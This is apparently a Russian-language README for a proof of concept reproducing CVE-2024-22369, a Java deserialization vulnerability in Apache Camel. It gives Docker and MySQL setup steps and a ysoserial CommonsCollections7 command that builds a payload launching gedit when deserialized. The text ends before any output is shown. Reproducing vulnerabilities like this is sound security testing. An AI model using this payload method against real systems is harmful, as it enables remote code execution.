
CVE-2024-22369 Репродуктор
Этот POC основан на репроюсере, созданном Ziyang Chen из HuaWei Open Source Management Center
Данный репроюсер был использован для создания этого PoC с некоторыми корректировками и очисткой, а также дополнен автоматизацией.
Нам понадобится экземпляр MySQL
docker run --name some-mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=my-secret-pw -e MYSQL_DATABASE=db -d mysql
Теперь нужно создать необходимые таблицы:
У вас есть два файла: employee.sql и employee_completed.sql
Выполните следующую команду:
docker run -it --rm mysql mysql -h 172.17.0.2 -uroot -p
Введите пароль, выполните USE db и запустите два SQL-файла.
На этом этапе у вас уже есть всё необходимое для воспроизведения десериализации.
Выполните следующую команду
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' some-mysql
и запишите адрес.
Теперь отредактируйте src/main/resources/application.properties в соответствии с состоянием вашего окружения.
Используемая нами полезная нагрузка основана на commons-collections 3.2.1.
Вам потребуется использовать:
https://github.com/frohoff/ysoserial
Из командной строки вы можете воссоздать полезную нагрузку следующим образом:
java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p
Это вернёт шестнадцатеричную версию полезной нагрузки. Идея в том, чтобы выполнить команду gedit во время десериализации.
Вы можете поэкспериментировать с различными полезными нагрузками и изменить SQL-скрипты, поменяв оператор INSERT и добавив новые сгенерированные полезные нагрузки.
Чтобы воспроизвести поведение, прежде всего выберите JDK 17 (локально или через SDKMan).
Затем выполните следующую команду:
mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run
Это даст следующий вывод: